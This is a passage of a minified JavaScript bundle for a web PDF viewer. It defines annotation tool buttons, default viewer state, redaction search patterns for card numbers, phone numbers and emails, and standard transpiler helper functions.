ols",showColor:"always"},AnnotationCreateCloudyRectangularAreaMeasurement:{dataElement:"cloudyRectangularAreaMeasurementToolButton",title:"annotation.areaMeasurement",img:"icon-tool-measurement-cloud-area-line",group:"cloudyRectangleAreaTools",showColor:"always"},AnnotationCreateCloudyRectangularAreaMeasurement2:{dataElement:"cloudyRectangularAreaMeasurementToolButton2",title:"annotation.areaMeasurement",img:"icon-tool-measurement-cloud-area-line",group:"cloudyRectangleAreaTools",showColor:"always"},AnnotationCreateCloudyRectangularAreaMeasurement3:{dataElement:"cloudyRectangularAreaMeasurementToolButton3",title:"annotation.areaMeasurement",img:"icon-tool-measurement-cloud-area-line",group:"cloudyRectangleAreaTools",showColor:"always"},AnnotationCreateCloudyRectangularAreaMeasurement4:{dataElement:"cloudyRectangularAreaMeasurementToolButton4",title:"annotation.areaMeasurement",img:"icon-tool-measurement-cloud-area-line",group:"cloudyRectangleAreaTools",showColor:"always"},AnnotationCreateFreeHand:{dataElement:"freeHandToolButton",title:"annotation.freehand",img:"icon-tool-pen-line",group:"freeHandTools",showColor:"always"},AnnotationCreateFreeHand2:{dataElement:"freeHandToolButton2",title:"annotation.freehand",img:"icon-tool-pen-line",group:"freeHandTools",showColor:"always"},AnnotationCreateFreeHand3:{dataElement:"freeHandToolButton3",title:"annotation.freehand",img:"icon-tool-pen-line",group:"freeHandTools",showColor:"always"},AnnotationCreateFreeHand4:{dataElement:"freeHandToolButton4",title:"annotation.freehand",img:"icon-tool-pen-line",group:"freeHandTools",showColor:"always"},AnnotationCreateFreeHandHighlight:{dataElement:"freeHandHighlightToolButton",title:"annotation.freeHandHighlight",img:"icon-tool-pen-highlight",group:"freeHandHighlightTools",showColor:"always"},AnnotationCreateFreeHandHighlight2:{dataElement:"freeHandHighlightToolButton2",title:"annotation.freeHandHighlight",img:"icon-tool-pen-highlight",group:"freeHandHighlightTools",showColor:"always"},AnnotationCreateFreeHandHighlight3:{dataElement:"freeHandHighlightToolButton3",title:"annotation.freeHandHighlight",img:"icon-tool-pen-highlight",group:"freeHandHighlightTools",showColor:"always"},AnnotationCreateFreeHandHighlight4:{dataElement:"freeHandHighlightToolButton4",title:"annotation.freeHandHighlight",img:"icon-tool-pen-highlight",group:"freeHandHighlightTools",showColor:"always"},AnnotationCreateTextHighlight:{dataElement:"highlightToolButton",title:"annotation.highlight",img:"icon-tool-text-manipulation-highlight",group:"highlightTools",showColor:"always"},AnnotationCreateTextHighlight2:{dataElement:"highlightToolButton2",title:"annotation.highlight",img:"icon-tool-text-manipulation-highlight",group:"highlightTools",showColor:"always"},AnnotationCreateTextHighlight3:{dataElement:"highlightToolButton3",title:"annotation.highlight",img:"icon-tool-text-manipulation-highlight",group:"highlightTools",showColor:"always"},AnnotationCreateTextHighlight4:{dataElement:"highlightToolButton4",title:"annotation.highlight",img:"icon-tool-text-manipulation-highlight",group:"highlightTools",showColor:"always"},AnnotationCreateTextUnderline:{dataElement:"underlineToolButton",title:"annotation.underline",img:"icon-tool-text-manipulation-underline",group:"underlineTools",showColor:"always"},AnnotationCreateTextUnderline2:{dataElement:"underlineToolButton2",title:"annotation.underline",img:"icon-tool-text-manipulation-underline",group:"underlineTools",showColor:"always"},AnnotationCreateTextUnderline3:{dataElement:"underlineToolButton3",title:"annotation.underline",img:"icon-tool-text-manipulation-underline",group:"underlineTools",showColor:"always"},AnnotationCreateTextUnderline4:{dataElement:"underlineToolButton4",title:"annotation.underline",img:"icon-tool-text-manipulation-underline",group:"underlineTools",showColor:"always"},AnnotationCreateTextSquiggly:{dataElement:"squigglyToolButton",title:"annotation.squiggly",img:"icon-tool-text-manipulation-squiggly",group:"squigglyTools",showColor:"always"},AnnotationCreateTextSquiggly2:{dataElement:"squigglyToolButton2",title:"annotation.squiggly",img:"icon-tool-text-manipulation-squiggly",group:"squigglyTools",showColor:"always"},AnnotationCreateTextSquiggly3:{dataElement:"squigglyToolButton3",title:"annotation.squiggly",img:"icon-tool-text-manipulation-squiggly",group:"squigglyTools",showColor:"always"},AnnotationCreateTextSquiggly4:{dataElement:"squigglyToolButton4",title:"annotation.squiggly",img:"icon-tool-text-manipulation-squiggly",group:"squigglyTools",showColor:"always"},AnnotationCreateTextStrikeout:{dataElement:"strikeoutToolButton",title:"annotation.strikeout",img:"icon-tool-text-manipulation-strikethrough",group:"strikeoutTools",showColor:"always"},AnnotationCreateTextStrikeout2:{dataElement:"strikeoutToolButton2",title:"annotation.strikeout",img:"icon-tool-text-manipulation-strikethrough",group:"strikeoutTools",showColor:"always"},AnnotationCreateTextStrikeout3:{dataElement:"strikeoutToolButton3",title:"annotation.strikeout",img:"icon-tool-text-manipulation-strikethrough",group:"strikeoutTools",showColor:"always"},AnnotationCreateTextStrikeout4:{dataElement:"strikeoutToolButton4",title:"annotation.strikeout",img:"icon-tool-text-manipulation-strikethrough",group:"strikeoutTools",showColor:"always"},AnnotationCreateFreeText:{dataElement:"freeTextToolButton",title:"annotation.freetext",img:"icon-tool-text-free-text",group:"freeTextTools",showColor:"always"},AnnotationCreateFreeText2:{dataElement:"freeTextToolButton2",title:"annotation.freetext",img:"icon-tool-text-free-text",group:"freeTextTools",showColor:"always"},AnnotationCreateFreeText3:{dataElement:"freeTextToolButton3",title:"annotation.freetext",img:"icon-tool-text-free-text",group:"freeTextTools",showColor:"always"},AnnotationCreateFreeText4:{dataElement:"freeTextToolButton4",title:"annotation.freetext",img:"icon-tool-text-free-text",group:"freeTextTools",showColor:"always"},AnnotationCreateDateFreeText:{dataElement:"dateFreeTextToolButton",title:"annotation.dateFreeText",img:"icon-tool-fill-and-sign-calendar",group:"dateFreeTextTools",showColor:"always"},AnnotationCreateDateFreeText2:{dataElement:"dateFreeTextToolButton2",title:"annotation.dateFreeText",img:"icon-tool-fill-and-sign-calendar",group:"dateFreeTextTools",showColor:"always"},AnnotationCreateDateFreeText3:{dataElement:"dateFreeTextToolButton3",title:"annotation.dateFreeText",img:"icon-tool-fill-and-sign-calendar",group:"dateFreeTextTools",showColor:"always"},AnnotationCreateDateFreeText4:{dataElement:"dateFreeTextToolButton4",title:"annotation.dateFreeText",img:"icon-tool-fill-and-sign-calendar",group:"dateFreeTextTools",showColor:"always"},AnnotationCreateCallout:{dataElement:"calloutToolButton",title:"annotation.callout",img:"icon-tool-callout-line",group:"calloutTools",showColor:"always"},AnnotationCreateCallout2:{dataElement:"calloutToolButton2",title:"annotation.callout",img:"icon-tool-callout-line",group:"calloutTools",showColor:"always"},AnnotationCreateCallout3:{dataElement:"calloutToolButton3",title:"annotation.callout",img:"icon-tool-callout-line",group:"calloutTools",showColor:"always"},AnnotationCreateCallout4:{dataElement:"calloutToolButton4",title:"annotation.callout",img:"icon-tool-callout-line",group:"calloutTools",showColor:"always"},AnnotationCreateSticky:{dataElement:"stickyToolButton",title:"annotation.stickyNote",img:"icon-tool-comment-line",group:"stickyTools",showColor:"always"},AnnotationCreateSticky2:{dataElement:"stickyToolButton2",title:"annotation.stickyNote",img:"icon-tool-comment-line",group:"stickyTools",showColor:"always"},AnnotationCreateSticky3:{dataElement:"stickyToolButton3",title:"annotation.stickyNote",img:"icon-tool-comment-line",group:"stickyTools",showColor:"always"},AnnotationCreateSticky4:{dataElement:"stickyToolButton4",title:"annotation.stickyNote",img:"icon-tool-comment-line",group:"stickyTools",showColor:"always"},AnnotationCreateRectangle:{dataElement:"rectangleToolButton",title:"annotation.rectangle",img:"icon-tool-shape-rectangle",group:"rectangleTools",showColor:"always"},AnnotationCreateRectangle2:{dataElement:"rectangleToolButton2",title:"annotation.rectangle",img:"icon-tool-shape-rectangle",group:"rectangleTools",showColor:"always"},AnnotationCreateRectangle3:{dataElement:"rectangleToolButton3",title:"annotation.rectangle",img:"icon-tool-shape-rectangle",group:"rectangleTools",showColor:"always"},AnnotationCreateRectangle4:{dataElement:"rectangleToolButton4",title:"annotation.rectangle",img:"icon-tool-shape-rectangle",group:"rectangleTools",showColor:"always"},AnnotationCreateEllipse:{dataElement:"ellipseToolButton",title:"annotation.ellipse",img:"icon-tool-shape-oval",group:"ellipseTools",showColor:"always"},AnnotationCreateEllipse2:{dataElement:"ellipseToolButton2",title:"annotation.ellipse",img:"icon-tool-shape-oval",group:"ellipseTools",showColor:"always"},AnnotationCreateEllipse3:{dataElement:"ellipseToolButton3",title:"annotation.ellipse",img:"icon-tool-shape-oval",group:"ellipseTools",showColor:"always"},AnnotationCreateEllipse4:{dataElement:"ellipseToolButton4",title:"annotation.ellipse",img:"icon-tool-shape-oval",group:"ellipseTools",showColor:"always"},AnnotationCreateArc:{dataElement:"arcToolButton",title:"annotation.arc",img:"icon-tool-arc",group:"arcTools",showColor:"always"},AnnotationCreateArc2:{dataElement:"arcToolButton2",title:"annotation.arc",img:"icon-tool-arc",group:"arcTools",showColor:"always"},AnnotationCreateArc3:{dataElement:"arcToolButton3",title:"annotation.arc",img:"icon-tool-arc",group:"arcTools",showColor:"always"},AnnotationCreateArc4:{dataElement:"arcToolButton4",title:"annotation.arc",img:"icon-tool-arc",group:"arcTools",showColor:"always"},AnnotationCreateLine:{dataElement:"lineToolButton",title:"annotation.line",img:"icon-tool-shape-line",group:"lineTools",showColor:"always"},AnnotationCreateLine2:{dataElement:"lineToolButton2",title:"annotation.line",img:"icon-tool-shape-line",group:"lineTools",showColor:"always"},AnnotationCreateLine3:{dataElement:"lineToolButton3",title:"annotation.line",img:"icon-tool-shape-line",group:"lineTools",showColor:"always"},AnnotationCreateLine4:{dataElement:"lineToolButton4",title:"annotation.line",img:"icon-tool-shape-line",group:"lineTools",showColor:"always"},AnnotationCreatePolyline:{dataElement:"polylineToolButton",title:"annotation.polyline",img:"icon-tool-shape-polyline",group:"polyLineTools",showColor:"always"},AnnotationCreatePolyline2:{dataElement:"polylineToolButton2",title:"annotation.polyline",img:"icon-tool-shape-polyline",group:"polyLineTools",showColor:"always"},AnnotationCreatePolyline3:{dataElement:"polylineToolButton3",title:"annotation.polyline",img:"icon-tool-shape-polyline",group:"polyLineTools",showColor:"always"},AnnotationCreatePolyline4:{dataElement:"polylineToolButton4",title:"annotation.polyline",img:"icon-tool-shape-polyline",group:"polyLineTools",showColor:"always"},AnnotationCreatePolygon:{dataElement:"polygonToolButton",title:"annotation.polygon",img:"icon-tool-shape-polygon",group:"polygonTools",showColor:"always"},AnnotationCreatePolygon2:{dataElement:"polygonToolButton2",title:"annotation.polygon",img:"icon-tool-shape-polygon",group:"polygonTools",showColor:"always"},AnnotationCreatePolygon3:{dataElement:"polygonToolButton3",title:"annotation.polygon",img:"icon-tool-shape-polygon",group:"polygonTools",showColor:"always"},AnnotationCreatePolygon4:{dataElement:"polygonToolButton4",title:"annotation.polygon",img:"icon-tool-shape-polygon",group:"polygonTools",showColor:"always"},AnnotationCreatePolygonCloud:{dataElement:"cloudToolButton",title:"annotation.polygonCloud",img:"icon-tool-shape-cloud",group:"cloudTools",showColor:"always"},AnnotationCreatePolygonCloud2:{dataElement:"cloudToolButton2",title:"annotation.polygonCloud",img:"icon-tool-shape-cloud",group:"cloudTools",showColor:"always"},AnnotationCreatePolygonCloud3:{dataElement:"cloudToolButton4",title:"annotation.polygonCloud",img:"icon-tool-shape-cloud",group:"cloudTools",showColor:"always"},AnnotationCreatePolygonCloud4:{dataElement:"cloudToolButton5",title:"annotation.polygonCloud",img:"icon-tool-shape-cloud",group:"cloudTools",showColor:"always"},AnnotationCreateArrow:{dataElement:"arrowToolButton",title:"annotation.arrow",img:"icon-tool-shape-arrow",group:"arrowTools",showColor:"always"},AnnotationCreateArrow2:{dataElement:"arrowToolButton2",title:"annotation.arrow",img:"icon-tool-shape-arrow",group:"arrowTools",showColor:"always"},AnnotationCreateArrow3:{dataElement:"arrowToolButton3",title:"annotation.arrow",img:"icon-tool-shape-arrow",group:"arrowTools",showColor:"always"},AnnotationCreateArrow4:{dataElement:"arrowToolButton4",title:"annotation.arrow",img:"icon-tool-shape-arrow",group:"arrowTools",showColor:"always"},AnnotationCreateSignature:{dataElement:"signatureToolButton",title:"annotation.signature",img:"icon-tool-signature",group:"signatureTools",showColor:"never"},AnnotationCreateFileAttachment:{dataElement:"fileAttachmentToolButton",title:"annotation.fileattachment",img:"ic_fileattachment_24px",group:"fileAttachmentTools",showColor:"never"},AnnotationCreateThreeD:{dataElement:"threeDToolGroupButton",title:"annotation.3D",img:"icon-tool-model3d",group:"model3DTools",showColor:"never"},AnnotationCreateStamp:{dataElement:"stampToolButton",title:"annotation.stamp",img:"icon-tool-image-line",group:"stampTools",showColor:"active"},AnnotationCreateRubberStamp:{dataElement:"rubberStampToolButton",title:"annotation.rubberStamp",img:"icon-tool-stamp-line",group:"rubberStampTools",showColor:"active"}},B1(I1,H1.FORM_FILL_CROSS,{dataElement:"crossStampToolButton",title:"annotation.formFillCross",img:"icon-tool-cross-stamp",group:"crossStampTools",showColor:"active"}),B1(I1,H1.FORM_FILL_CHECKMARK,{dataElement:"checkStampToolButton",title:"annotation.formFillCheckmark",img:"icon-tool-check-stamp",group:"checkStampTools",showColor:"active"}),B1(I1,H1.FORM_FILL_DOT,{dataElement:"dotStampToolButton",title:"annotation.formFillDot",img:"icon-tool-dot-stamp",group:"dotStampTools",showColor:"active"}),B1(I1,"CropPage",{dataElement:"cropToolButton",title:"annotation.crop",img:"ic_crop_black_24px",showColor:"never",group:"cropTools"}),B1(I1,"ContentEditTool",{dataElement:"contentEditToolButton",title:"action.edit",img:"ic_edit_page_24px",showColor:"never",group:"contentEditTools"}),B1(I1,"AnnotationCreateRedaction",{dataElement:"redactionButton",title:"option.redaction.markForRedaction",img:"icon-tool-select-area-redaction",group:"redactionTools",showColor:"always"}),B1(I1,"AnnotationCreateRedaction2",{dataElement:"redactionButton2",title:"option.redaction.markForRedaction",img:"icon-tool-select-area-redaction",group:"redactionTools",showColor:"always"}),B1(I1,"AnnotationCreateRedaction3",{dataElement:"redactionButton3",title:"option.redaction.markForRedaction",img:"icon-tool-select-area-redaction",group:"redactionTools",showColor:"always"}),B1(I1,"AnnotationCreateRedaction4",{dataElement:"redactionButton4",title:"option.redaction.markForRedaction",img:"icon-tool-select-area-redaction",group:"redactionTools",showColor:"always"}),B1(I1,"Pan",{dataElement:"panToolButton",title:"tool.pan",img:"icon-header-pan",showColor:"never"}),B1(I1,"AnnotationEdit",{dataElement:"selectToolButton",title:"tool.select",img:"multi select",showColor:"never"}),B1(I1,"TextSelect",{dataElement:"textSelectButton",img:"icon - header - select - line",showColor:"never"}),B1(I1,"MarqueeZoomTool",{dataElement:"marqueeToolButton",showColor:"never"}),B1(I1,"AnnotationEraserTool",{dataElement:"eraserToolButton",title:"annotation.eraser",img:"icon-operation-eraser",showColor:"never"}),B1(I1,"TextFormFieldCreateTool",{dataElement:"textFieldToolButton",title:"annotation.textField",img:"icon-form-field-text",group:"formFieldTools",showColor:"always"}),B1(I1,"TextFormFieldCreateTool2",{dataElement:"textFieldToolButton2",title:"annotation.textField",img:"icon-form-field-text",group:"formFieldTools",showColor:"always"}),B1(I1,"TextFormFieldCreateTool3",{dataElement:"textFieldToolButton3",title:"annotation.textField",img:"icon-form-field-text",group:"formFieldTools",showColor:"always"}),B1(I1,"TextFormFieldCreateTool4",{dataElement:"textFieldToolButton4",title:"annotation.textField",img:"icon-form-field-text",group:"formFieldTools",showColor:"always"}),B1(I1,"SignatureFormFieldCreateTool",{dataElement:"signatureFieldToolButton",title:"annotation.signatureFormField",img:"icon-form-field-signature",group:"sigFieldTools",showColor:"always"}),B1(I1,"SignatureFormFieldCreateTool2",{dataElement:"signatureFieldToolButton2",title:"annotation.signatureFormField",img:"icon-form-field-signature",group:"sigFieldTools",showColor:"always"}),B1(I1,"SignatureFormFieldCreateTool3",{dataElement:"signatureFieldToolButton3",title:"annotation.signatureFormField",img:"icon-form-field-signature",group:"sigFieldTools",showColor:"always"}),B1(I1,"SignatureFormFieldCreateTool4",{dataElement:"signatureFieldToolButton4",title:"annotation.signatureFormField",img:"icon-form-field-signature",group:"sigFieldTools",showColor:"always"}),B1(I1,"CheckBoxFormFieldCreateTool",{dataElement:"checkBoxFieldCreateToolButton",title:"annotation.checkBoxFormField",img:"icon-form-field-checkbox",group:"checkBoxFieldTools",showColor:"never"}),B1(I1,"RadioButtonFormFieldCreateTool",{dataElement:"radioButtonFieldCreateToolButton",title:"annotation.radioButtonFormField",img:"icon-form-field-radiobutton",group:"radioButtonFieldTools",showColor:"never"}),B1(I1,"ListBoxFormFieldCreateTool",{dataElement:"listBoxFieldCreateToolButton",title:"annotation.listBoxFormField",img:"icon-form-field-listbox",group:"listBoxFieldTools",showColor:"always"}),B1(I1,"ListBoxFormFieldCreateTool2",{dataElement:"listBoxFieldCreateToolButton2",title:"annotation.listBoxFormField",img:"icon-form-field-listbox",group:"listBoxFieldTools",showColor:"always"}),B1(I1,"ListBoxFormFieldCreateTool3",{dataElement:"listBoxFieldCreateToolButton3",title:"annotation.listBoxFormField",img:"icon-form-field-listbox",group:"listBoxFieldTools",showColor:"always"}),B1(I1,"ListBoxFormFieldCreateTool4",{dataElement:"listBoxFieldCreateToolButton4",title:"annotation.listBoxFormField",img:"icon-form-field-listbox",group:"listBoxFieldTools",showColor:"always"}),B1(I1,"ComboBoxFormFieldCreateTool",{dataElement:"comboBoxFieldCreateToolButton",title:"annotation.comboBoxFormField",img:"icon-form-field-combobox",group:"comboBoxFieldTools",showColor:"always"}),B1(I1,"ComboBoxFormFieldCreateTool2",{dataElement:"comboBoxFieldCreateToolButton2",title:"annotation.comboBoxFormField",img:"icon-form-field-combobox",group:"comboBoxFieldTools",showColor:"always"}),B1(I1,"ComboBoxFormFieldCreateTool3",{dataElement:"comboBoxFieldCreateToolButton3",title:"annotation.comboBoxFormField",img:"icon-form-field-combobox",group:"comboBoxFieldTools",showColor:"always"}),B1(I1,"ComboBoxFormFieldCreateTool4",{dataElement:"comboBoxFieldCreateToolButton4",title:"annotation.comboBoxFormField",img:"icon-form-field-combobox",group:"comboBoxFieldTools",showColor:"always"}),B1(I1,"AnnotationCreateChangeViewTool",{dataElement:"changeViewCreateToolButton",title:"annotation.changeView",img:"icon-tool-changeview",group:"changeViewTools",showColor:"always"}),B1(I1,"AnnotationCreateChangeViewTool2",{dataElement:"changeViewCreateToolButton2",title:"annotation.changeView",img:"icon-tool-changeview",group:"changeViewTools",showColor:"always"}),B1(I1,"AnnotationCreateChangeViewTool3",{dataElement:"changeViewCreateToolButton3",title:"annotation.changeView",img:"icon-tool-changeview",group:"changeViewTools",showColor:"always"}),B1(I1,"AnnotationCreateChangeViewTool4",{dataElement:"changeViewCreateToolButton4",title:"annotation.changeView",img:"icon-tool-changeview",group:"changeViewTools",showColor:"always"}),I1),tab:{signatureModal:"inkSignaturePanelButton",pageReplacementModal:"urlInputPanelButton",linkModal:"URLPanelButton",rubberStampTab:"standardStampPanelButton",filterAnnotModal:Yh.ANNOTATION_USER_FILTER_PANEL_BUTTON},customElementOverrides:{},activeHeaderGroup:"default",activeToolName:"AnnotationEdit",activeToolStyles:{},customColors:Dp.isLocalStorageEnabled()&&window.localStorage.getItem("customColors")?JSON.parse(window.localStorage.getItem("customColors")):[],activeLeftPanel:"thumbnailsPanel",activeToolGroup:"",notePopupId:"",isNoteEditing:!1,fitMode:"",zoom:1,rotation:0,displayMode:"Single",currentPage:1,sortStrategy:"position",isFullScreen:!1,isMultipleViewerMerging:!1,isThumbnailMerging:!0,isThumbnailReordering:!0,isThumbnailMultiselect:!0,isOutlineEditing:!0,enableNotesPanelVirtualizedList:!0,notesShowLastUpdatedDate:!1,allowPageNavigation:!0,enableToolGroupReordering:!0,enableNoteSubmissionWithEnter:!1,isNotesPanelTextCollapsingEnabled:!0,isNotesPanelRepliesCollapsingEnabled:!0,isCommentThreadExpansionEnabled:!1,enableMouseWheelZoom:!0,doesAutoLoad:lh("auto_load",!0),isReadOnly:lh("readonly",!1),customModals:[],customPanels:[],useEmbeddedPrint:!1,pageLabels:[],selectedThumbnailPageIndexes:[],shiftKeyThumbnailPivotIndex:null,noteDateFormat:"MMM D, LT",printedNoteDateFormat:"L LTS",colorMap:lc("currentPalette","iconColor"),warning:{},customNoteFilter:null,zoomList:Yt,isAccessibleMode:lh("accessibleMode",!1),measurementUnits:{from:["in","mm","cm","pt"],to:["in","mm","cm","pt","ft","ft-in","m","yd","km","mi"]},maxSignaturesCount:4,signatureFonts:["GreatVibes-Regular"],isReplyDisabledFunc:null,userData:[],customMeasurementOverlay:[],noteTransformFunction:null,standardStamps:[],customStamps:[],selectedStampIndex:0,savedSignatures:[],displayedSavedSignatures:[],displayedSignaturesFilterFunction:function(){return!0},selectedDisplayedSignatureIndex:0,annotationContentOverlayHandler:null,isSnapModeEnabled:!1,isReaderMode:!1,unreadAnnotationIdSet:new Set,certificates:[],trustLists:[],validationModalWidgetName:"",verificationResult:{},watermarkModalOptions:null,fonts:["Helvetica","Times New Roman","Courier","Georgia","serif","Verdana","sans-serif","Lucida Console","monospace","Tahoma","Trebuchet MS","Garamond","Brush Script MT"],shouldResetAudioPlaybackPosition:!1,activeSoundAnnotation:null,presetCropDimensions:{Letter:{yOffset:0,height:11,xOffset:0,width:8.5},"Half letter":{yOffset:0,height:5.5,xOffset:0,width:8.5},"Junior legal":{yOffset:0,height:5,xOffset:0,width:8}},dateTimeFormats:[{date:"DD/MM/YYYY",time:"h:mm A",timeFirst:!1},{date:"DD/MM/YYYY",time:"HH:mm",timeFirst:!1},{date:"DD/MM/YYYY",time:"h:mm A",timeFirst:!1},{date:"DD/MM/YYYY",time:"HH:mm",timeFirst:!1},{date:"YYYY/MM/DD",time:"h:mm A",timeFirst:!1},{date:"YYYY/MM/DD",time:"HH:mm",timeFirst:!1},{date:"DD MMM YYYY",time:"h:mm A",timeFirst:!1},{date:"DD MMM YYYY",time:"HH:mm",timeFirst:!1},{date:"MMMM DD, YYYY",time:"h:mm A",timeFirst:!1},{date:"MMMM DD, YYYY",time:"HH:mm",timeFirst:!1}],thumbnailSelectionMode:"checkbox",annotationFilters:{includeReplies:!0,authorFilter:[],colorFilter:[],typeFilter:[],statusFilter:[]},zoomStepFactors:[{step:7.5,startZoom:0},{step:25,startZoom:80},{step:50,startZoom:150},{step:100,startZoom:250},{step:200,startZoom:400},{step:400,startZoom:800},{step:800,startZoom:3200},{step:1600,startZoom:6400}]},search:{value:"",isCaseSensitive:!1,isWholeWord:!1,isWildcard:!1,isRegex:!1,isSearchUp:!1,isAmbientString:!1,clearSearchPanelOnClose:!1,results:[],redactionSearchPatterns:{creditCards:{label:"redactionPanel.search.creditCards",icon:"redact-icons-credit-card",type:Ux,regex:/\b(?:\d[ -]*?){13,16}\b/},phoneNumbers:{label:"redactionPanel.search.phoneNumbers",icon:"redact-icons-phone-number",type:Gx,regex:/\d?(\s?|-?|\+?|\.?)((\(\d{1,4}\))|(\d{1,3})|\s?)(\s?|-?|\.?)((\(\d{1,3}\))|(\d{1,3})|\s?)(\s?|-?|\.?)((\(\d{1,3}\))|(\d{1,3})|\s?)(\s?|-?|\.?)\d{3}(-|\.|\s)\d{4,5}/},emails:{label:"redactionPanel.search.emails",icon:"redact-icons-email",type:qx,regex:/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b/}}},document:{totalPages:0,outlines:[],bookmarks:{},layers:[],printQuality:1,passwordAttempts:-1,loadingProgress:0},user:{name:lh("user","Guest"),isAdmin:lh("admin",!1)},advanced:{customCSS:lh("css",null),defaultDisabledElements:lh("disabledElements",""),fullAPI:lh("pdfnet",!1),preloadWorker:lh("preloadWorker",!1),enableOptimizedWorkers:lh("enableOptimizedWorkers",!0),serverUrl:lh("server_url",""),serverUrlHeaders:JSON.parse(lh("serverUrlHeaders","{}")),useSharedWorker:lh("useSharedWorker",!1),disableI18n:lh("disableI18n",!1),pdfWorkerTransportPromise:null,officeWorkerTransportPromise:null,disableIndexedDB:lh("disableIndexedDB",!1)},featureFlags:{},wv3dPropertiesPanel:{modelData:[],schema:{headerName:"Name",defaultValues:{},groups:{},groupOrder:[],removeEmptyRows:!1,removeEmptyGroups:!1,createRawValueGroup:!0}}};function z1(e){return function(e){if(Array.isArray(e))return U1(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return U1(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return U1(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function U1(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function G1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function W1(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?G1(Object(n),!0).forEach((function(t){q1(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):G1(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function q1(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Z1(e){return function(e){if(Array.isArray(e))return Y1(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return Y1(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Y1(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Y1(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function $1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function K1(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?$1(Object(n),!0).forEach((function(t){X1(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):$1(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function X1(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function Q1(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function J1(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Q1(Object(n),!0).forEach((function(t){e2(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Q1(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function e2(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function t2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function n2(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?t2(Object(n),!0).forEach((function(t){r2(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):t2(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function r2(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function o2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function i2(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?o2(Object(n),!0).forEach((function(t){a2(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):o2(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function a2(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var l2="persist/REHYDRATE",s2="persist/REGISTER";function u2(e){return(u2="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function c2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return 